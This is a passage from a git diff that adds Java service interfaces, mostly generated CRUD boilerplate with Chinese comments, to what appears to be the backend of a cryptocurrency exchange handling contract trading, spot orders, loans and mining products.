U本位委托主键 + * @return U本位委托 + */ + public TContractOrder selectTContractOrderById(Long id); + + /** + * 查询U本位委托列表 + * + * @param tContractOrder U本位委托 + * @return U本位委托集合 + */ + public List selectTContractOrderList(TContractOrder tContractOrder); + + /** + * 新增U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + public int insertTContractOrder(TContractOrder tContractOrder); + + /** + * 修改U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + public int updateTContractOrder(TContractOrder tContractOrder); + + /** + * 批量删除U本位委托 + * + * @param ids 需要删除的U本位委托主键集合 + * @return 结果 + */ + public int deleteTContractOrderByIds(Long[] ids); + + /** + * 删除U本位委托信息 + * + * @param id U本位委托主键 + * @return 结果 + */ + public int deleteTContractOrderById(Long id); + + + /** + * U本位提交接口 + * @param symbol + * @param leverage + * @param delegatePrice + * @param delegateTotal + * @param userId + * @param type + * @param delegateType + * @return + */ + String buyContractOrder(String symbol, BigDecimal leverage, BigDecimal delegatePrice,BigDecimal delegateTotal,Long userId,Integer type, Integer delegateType); + + + /** + * 提交验证 + * @param symbol + * @param leverage + * @param delegatePrice + * @param delegateTotal + * @param userId + * @return + */ + + String verifySubmit(String symbol, BigDecimal leverage, BigDecimal delegatePrice,BigDecimal delegateTotal,Long userId); + + + /** + * 撤销委托订单 + * @param id + * @return + */ + String canCelOrder(Long id); + + + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractPositionService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractPositionService.java new file mode 100644 index 0000000..b16810b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractPositionService.java @@ -0,0 +1,113 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractPosition; + +/** + * U本位持仓表Service接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface ITContractPositionService extends IService +{ + /** + * 查询U本位持仓表 + * + * @param id U本位持仓表主键 + * @return U本位持仓表 + */ + public TContractPosition selectTContractPositionById(Long id); + + /** + * 查询U本位持仓表列表 + * + * @param tContractPosition U本位持仓表 + * @return U本位持仓表集合 + */ + public List selectTContractPositionList(TContractPosition tContractPosition); + + /** + * 新增U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + public int insertTContractPosition(TContractPosition tContractPosition); + + /** + * 修改U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + public int updateTContractPosition(TContractPosition tContractPosition); + + /** + * 批量删除U本位持仓表 + * + * @param ids 需要删除的U本位持仓表主键集合 + * @return 结果 + */ + public int deleteTContractPositionByIds(Long[] ids); + + /** + * 删除U本位持仓表信息 + * + * @param id U本位持仓表主键 + * @return 结果 + */ + public int deleteTContractPositionById(Long id); + + /** + * 全部平仓 + * @param id + * @return + */ + String allClosePosition(Long id); + + /** + * 调整保证金 + * @param id + * @param money + * @param flag 0 增加 1减少 + * @return + */ + String adjustAmout(Long id, BigDecimal money, String flag); + + + /** + * 平仓交易 + * @param id + * @return + */ + String verifyStopPostion(Long id); + + /** + * 通过 + * @param contractPosition + * @return + */ + String pass(TContractPosition contractPosition); + + /** + * 拒绝 + * @param contractPosition + * @return + */ + String reject(TContractPosition contractPosition); + + + String adjustPositionMargn(Long id,BigDecimal money); + + String adjustPositionAmout(Long id,BigDecimal money); + + String closePosition(Long id); + + String stopPosition(Long id); + + String stopAllPosition(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencyOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencyOrderService.java new file mode 100644 index 0000000..498c486 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencyOrderService.java @@ -0,0 +1,83 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 币币交易订单Service接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface ITCurrencyOrderService extends IService +{ + /** + * 查询币币交易订单 + * + * @param id 币币交易订单主键 + * @return 币币交易订单 + */ + public TCurrencyOrder selectTCurrencyOrderById(Long id); + + /** + * 查询币币交易订单列表 + * + * @param tCurrencyOrder 币币交易订单 + * @return 币币交易订单集合 + */ + public List selectTCurrencyOrderList(TCurrencyOrder tCurrencyOrder); + + /** + * 新增币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + public int insertTCurrencyOrder(TCurrencyOrder tCurrencyOrder); + + /** + * 修改币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + public int updateTCurrencyOrder(TCurrencyOrder tCurrencyOrder); + + /** + * 批量删除币币交易订单 + * + * @param ids 需要删除的币币交易订单主键集合 + * @return 结果 + */ + public int deleteTCurrencyOrderByIds(Long[] ids); + + /** + * 删除币币交易订单信息 + * + * @param id 币币交易订单主键 + * @return 结果 + */ + public int deleteTCurrencyOrderById(Long id); + + String submitCurrencyOrder(TAppUser user, TCurrencyOrder tCurrencyOrder); + + String checkOrder(TCurrencyOrder tCurrencyOrder, TCurrencySymbol currencySymbol, BigDecimal settlePrice); + + boolean checkPrice(Integer type, BigDecimal delegatePrice, BigDecimal settlePrice); + + void assembleCurrencyOrder(TCurrencyOrder tCurrencyOrder, String symbol, String coin, Long userId, BigDecimal subtractPrice, BigDecimal addPrice, TAppAsset subtractAsset, TAppAsset addAsset); + + void combinationCurrencyOrder(TCurrencyOrder tCurrencyOrder, BigDecimal ratio, Long userId); + + int canCelOrder(TCurrencyOrder currencyOrder); + + List selectOrderList(TCurrencyOrder tCurrencyOrder); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencySymbolService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencySymbolService.java new file mode 100644 index 0000000..836d433 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencySymbolService.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TCurrencySymbol; + +/** + * 币币交易币种配置Service接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface ITCurrencySymbolService extends IService +{ + /** + * 查询币币交易币种配置 + * + * @param id 币币交易币种配置主键 + * @return 币币交易币种配置 + */ + public TCurrencySymbol selectTCurrencySymbolById(Long id); + + /** + * 查询币币交易币种配置列表 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 币币交易币种配置集合 + */ + public List selectTCurrencySymbolList(TCurrencySymbol tCurrencySymbol); + + /** + * 新增币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + public int insertTCurrencySymbol(TCurrencySymbol tCurrencySymbol); + + /** + * 修改币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + public int updateTCurrencySymbol(TCurrencySymbol tCurrencySymbol); + + /** + * 批量删除币币交易币种配置 + * + * @param ids 需要删除的币币交易币种配置主键集合 + * @return 结果 + */ + public int deleteTCurrencySymbolByIds(Long[] ids); + + /** + * 删除币币交易币种配置信息 + * + * @param id 币币交易币种配置主键 + * @return 结果 + */ + public int deleteTCurrencySymbolById(Long id); + + boolean batchSave(String[] symbols); + + List getSymbolList(); + + TCurrencySymbol selectByCoin(String symbol); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITExchangeCoinRecordService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITExchangeCoinRecordService.java new file mode 100644 index 0000000..a11ff35 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITExchangeCoinRecordService.java @@ -0,0 +1,73 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; + +/** + * 币种兑换记录Service接口 + * + * @author ruoyi + * @date 2023-07-07 + */ +public interface ITExchangeCoinRecordService extends IService +{ + /** + * 查询币种兑换记录 + * + * @param id 币种兑换记录主键 + * @return 币种兑换记录 + */ + public TExchangeCoinRecord selectTExchangeCoinRecordById(Long id); + + /** + * 查询币种兑换记录列表 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 币种兑换记录集合 + */ + public List selectTExchangeCoinRecordList(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 新增币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + public int insertTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 修改币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + public int updateTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 批量删除币种兑换记录 + * + * @param ids 需要删除的币种兑换记录主键集合 + * @return 结果 + */ + public int deleteTExchangeCoinRecordByIds(Long[] ids); + + /** + * 删除币种兑换记录信息 + * + * @param id 币种兑换记录主键 + * @return 结果 + */ + public int deleteTExchangeCoinRecordById(Long id); + + Integer countBySubmittedRecord(Long userId, String fromSymbol, String toSymbol); + + int insertRecord(TAppUser user, Map params); + + Map getCurrencyPrice(String[] currency); + + List getListByLimit(int size); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterInfoService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterInfoService.java new file mode 100644 index 0000000..1492d7d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterInfoService.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.THelpCenterInfo; + +import java.util.List; + +/** + * 帮助中心问题详情Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface ITHelpCenterInfoService extends IService +{ + /** + * 查询帮助中心问题详情 + * + * @param id 帮助中心问题详情主键 + * @return 帮助中心问题详情 + */ + public THelpCenterInfo selectTHelpCenterInfoById(Long id); + + /** + * 查询帮助中心问题详情列表 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 帮助中心问题详情集合 + */ + public List selectTHelpCenterInfoList(THelpCenterInfo tHelpCenterInfo); + + /** + * 新增帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + public int insertTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo); + + /** + * 修改帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + public int updateTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo); + + /** + * 批量删除帮助中心问题详情 + * + * @param ids 需要删除的帮助中心问题详情主键集合 + * @return 结果 + */ + public int deleteTHelpCenterInfoByIds(Long[] ids); + + /** + * 删除帮助中心问题详情信息 + * + * @param id 帮助中心问题详情主键 + * @return 结果 + */ + public int deleteTHelpCenterInfoById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterService.java new file mode 100644 index 0000000..fdc9891 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.THelpCenter; + +import java.util.List; + +/** + * 帮助中心Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface ITHelpCenterService extends IService +{ + /** + * 查询帮助中心 + * + * @param id 帮助中心主键 + * @return 帮助中心 + */ + public THelpCenter selectTHelpCenterById(Long id); + + /** + * 查询帮助中心列表 + * + * @param tHelpCenter 帮助中心 + * @return 帮助中心集合 + */ + public List selectTHelpCenterList(THelpCenter tHelpCenter); + + /** + * 新增帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + public int insertTHelpCenter(THelpCenter tHelpCenter); + + /** + * 修改帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + public int updateTHelpCenter(THelpCenter tHelpCenter); + + /** + * 批量删除帮助中心 + * + * @param ids 需要删除的帮助中心主键集合 + * @return 结果 + */ + public int deleteTHelpCenterByIds(Long[] ids); + + /** + * 删除帮助中心信息 + * + * @param id 帮助中心主键 + * @return 结果 + */ + public int deleteTHelpCenterById(Long id); + + List getCenterList(THelpCenter tHelpCenter); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHomeSetterService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHomeSetterService.java new file mode 100644 index 0000000..6baf2d3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHomeSetterService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.THomeSetter; + +/** + * 规则说明Service接口 + * + * @author ruoyi + * @date 2023-07-19 + */ +public interface ITHomeSetterService extends IService +{ + /** + * 查询规则说明 + * + * @param id 规则说明主键 + * @return 规则说明 + */ + public THomeSetter selectTHomeSetterById(Long id); + + /** + * 查询规则说明列表 + * + * @param tHomeSetter 规则说明 + * @return 规则说明集合 + */ + public List selectTHomeSetterList(THomeSetter tHomeSetter); + + /** + * 新增规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + public int insertTHomeSetter(THomeSetter tHomeSetter); + + /** + * 修改规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + public int updateTHomeSetter(THomeSetter tHomeSetter); + + /** + * 批量删除规则说明 + * + * @param ids 需要删除的规则说明主键集合 + * @return 结果 + */ + public int deleteTHomeSetterByIds(Long[] ids); + + /** + * 删除规则说明信息 + * + * @param id 规则说明主键 + * @return 结果 + */ + public int deleteTHomeSetterById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadOrderService.java new file mode 100644 index 0000000..978a9e2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadOrderService.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadOrder; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 贷款订单Service接口 + * + * @author ruoyi + * @date 2023-07-14 + */ +public interface ITLoadOrderService extends IService +{ + /** + * 查询贷款订单 + * + * @param id 贷款订单主键 + * @return 贷款订单 + */ + public TLoadOrder selectTLoadOrderById(Long id); + + /** + * 查询贷款订单列表 + * + * @param tLoadOrder 贷款订单 + * @return 贷款订单集合 + */ + public List selectTLoadOrderList(TLoadOrder tLoadOrder); + + /** + * 新增贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + public int insertTLoadOrder(TLoadOrder tLoadOrder); + + /** + * 修改贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + public int updateTLoadOrder(TLoadOrder tLoadOrder); + + /** + * 批量删除贷款订单 + * + * @param ids 需要删除的贷款订单主键集合 + * @return 结果 + */ + public int deleteTLoadOrderByIds(Long[] ids); + + /** + * 删除贷款订单信息 + * + * @param id 贷款订单主键 + * @return 结果 + */ + public int deleteTLoadOrderById(Long id); + + AjaxResult saveTLoadOrder(TLoadOrder loadOrder, TAppUser user); + + AjaxResult passTLoadOrder(TLoadOrder tLoadOrder); + + int repayment(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadProductService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadProductService.java new file mode 100644 index 0000000..577b6a8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadProductService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TLoadProduct; + +/** + * 借贷产品Service接口 + * + * @author ruoyi + * @date 2023-07-13 + */ +public interface ITLoadProductService extends IService +{ + /** + * 查询借贷产品 + * + * @param id 借贷产品主键 + * @return 借贷产品 + */ + public TLoadProduct selectTLoadProductById(Long id); + + /** + * 查询借贷产品列表 + * + * @param tLoadProduct 借贷产品 + * @return 借贷产品集合 + */ + public List selectTLoadProductList(TLoadProduct tLoadProduct); + + /** + * 新增借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + public int insertTLoadProduct(TLoadProduct tLoadProduct); + + /** + * 修改借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + public int updateTLoadProduct(TLoadProduct tLoadProduct); + + /** + * 批量删除借贷产品 + * + * @param ids 需要删除的借贷产品主键集合 + * @return 结果 + */ + public int deleteTLoadProductByIds(Long[] ids); + + /** + * 删除借贷产品信息 + * + * @param id 借贷产品主键 + * @return 结果 + */ + public int deleteTLoadProductById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMarketsService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMarketsService.java new file mode 100644 index 0000000..83cc1f1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMarketsService.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.service; + +import java.util.List; +import com.ruoyi.bussiness.domain.TMarkets; + +/** + * 支持交易所Service接口 + * + * @author ruoyi + * @date 2023-06-26 + */ +public interface ITMarketsService +{ + /** + * 查询支持交易所 + * + * @param slug 支持交易所主键 + * @return 支持交易所 + */ + public TMarkets selectTMarketsBySlug(String slug); + + /** + * 查询支持交易所列表 + * + * @param tMarkets 支持交易所 + * @return 支持交易所集合 + */ + public List selectTMarketsList(TMarkets tMarkets); + + /** + * 新增支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + public int insertTMarkets(TMarkets tMarkets); + + /** + * 修改支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + public int updateTMarkets(TMarkets tMarkets); + + /** + * 批量删除支持交易所 + * + * @param slugs 需要删除的支持交易所主键集合 + * @return 结果 + */ + public int deleteTMarketsBySlugs(String[] slugs); + + /** + * 删除支持交易所信息 + * + * @param slug 支持交易所主键 + * @return 结果 + */ + public int deleteTMarketsBySlug(String slug); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineFinancialService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineFinancialService.java new file mode 100644 index 0000000..4087b77 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineFinancialService.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TMineFinancial; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface ITMineFinancialService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineFinancial selectTMineFinancialById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineFinancialList(TMineFinancial tMineFinancial); + + /** + * 新增【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineFinancial(TMineFinancial tMineFinancial); + + /** + * 修改【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineFinancial(TMineFinancial tMineFinancial); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTMineFinancialByIds(Long[] ids); + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineFinancialById(Long id); + + String submit(Long planId, BigDecimal money, Long days); + + String reCall(String id); + + Map personalIncome(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderDayService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderDayService.java new file mode 100644 index 0000000..79895b3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderDayService.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TMineOrderDay; + +import java.math.BigDecimal; +import java.util.List; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface ITMineOrderDayService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param amount 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineOrderDay selectTMineOrderDayByAmount(BigDecimal amount); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineOrderDayList(TMineOrderDay tMineOrderDay); + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineOrderDay(TMineOrderDay tMineOrderDay); + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineOrderDay(TMineOrderDay tMineOrderDay); + + /** + * 批量删除【请填写功能名称】 + * + * @param amounts 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTMineOrderDayByAmounts(BigDecimal[] amounts); + + /** + * 删除【请填写功能名称】信息 + * + * @param amount 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineOrderDayByAmount(BigDecimal amount); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderService.java new file mode 100644 index 0000000..12ff211 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderService.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TMineOrder; + +import java.util.List; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface ITMineOrderService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineOrder selectTMineOrderById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrder 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineOrderList(TMineOrder tMineOrder); + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineOrder(TMineOrder tMineOrder); + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineOrder(TMineOrder tMineOrder); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTMineOrderByIds(Long[] ids); + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineOrderById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineUserService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineUserService.java new file mode 100644 index 0000000..468dc1d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineUserService.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineUser; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface ITMineUserService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param userId 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineUser selectTMineUserByUserId(Long userId); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineUser 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineUserList(TMineUser tMineUser); + + /** + * 新增【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineUser(TMineUser tMineUser); + + /** + * 修改【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineUser(TMineUser tMineUser); + + /** + * 批量删除【请填写功能名称】 + * + * @param userIds 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTMineUserByUserIds(Long[] userIds); + + /** + * 删除【请填写功能名称】信息 + * + * @param userId 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineUserByUserId(Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingOrderService.java new file mode 100644 index 0000000..db3f56f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingOrderService.java @@ -0,0 +1,82 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TMingOrder; + +/** + * mingService接口 + * + * @author ruoyi + * @date 2023-08-18 + */ +public interface ITMingOrderService extends IService +{ + /** + * 查询ming + * + * @param id ming主键 + * @return ming + */ + public TMingOrder selectTMingOrderById(Long id); + + /** + * 查询ming列表 + * + * @param tMingOrder ming + * @return ming集合 + */ + public List selectTMingOrderList(TMingOrder tMingOrder); + + /** + * 新增ming + * + * @param tMingOrder ming + * @return 结果 + */ + public int insertTMingOrder(TMingOrder tMingOrder); + + /** + * 修改ming + * + * @param tMingOrder ming + * @return 结果 + */ + public int updateTMingOrder(TMingOrder tMingOrder); + + /** + * 批量删除ming + * + * @param ids 需要删除的ming主键集合 + * @return 结果 + */ + public int deleteTMingOrderByIds(Long[] ids); + + /** + * 删除ming信息 + * + * @param id ming主键 + * @return 结果 + */ + public int deleteTMingOrderById(Long id); + + /** + * 购买挖矿 + * @param planId + * @param amount + * @param userId + * @return + */ + String bugMingOrder(Long planId, BigDecimal amount,Long userId); + + + Map selectMingOrderSumList(Long userId); + + String redemption(Long id); + + String redemption(Long id,String flag); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductService.java new file mode 100644 index 0000000..7b4b543 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TMingProduct; + +/** + * mingProductService接口 + * + * @author ruoyi + * @date 2023-08-18 + */ +public interface ITMingProductService extends IService +{ + /** + * 查询mingProduct + * + * @param id mingProduct主键 + * @return mingProduct + */ + public TMingProduct selectTMingProductById(Long id); + + /** + * 查询mingProduct列表 + * + * @param tMingProduct mingProduct + * @return mingProduct集合 + */ + public List selectTMingProductList(TMingProduct tMingProduct); + + /** + * 新增mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + public int insertTMingProduct(TMingProduct tMingProduct); + + /** + * 修改mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + public int updateTMingProduct(TMingProduct tMingProduct); + + /** + * 批量删除mingProduct + * + * @param ids 需要删除的mingProduct主键集合 + * @return 结果 + */ + public int deleteTMingProductByIds(Long[] ids); + + /** + * 删除mingProduct信息 + * + * @param id mingProduct主键 + * @return 结果 + */ + public int deleteTMingProductById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductUserService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductUserService.java new file mode 100644 index 0000000..4f90f32 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductUserService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TMingProductUser; + +/** + * 用户购买质押限制Service接口 + * + * @author ruoyi + * @date 2023-10-11 + */ +public interface ITMingProductUserService extends IService +{ + /** + * 查询用户购买质押限制 + * + * @param id 用户购买质押限制主键 + * @return 用户购买质押限制 + */ + public TMingProductUser selectTMingProductUserById(Long id); + + /** + * 查询用户购买质押限制列表 + * + * @param tMingProductUser 用户购买质押限制 + * @return 用户购买质押限制集合 + */ + public List selectTMingProductUserList(TMingProductUser tMingProductUser); + + /** + * 新增用户购买质押限制 + * + 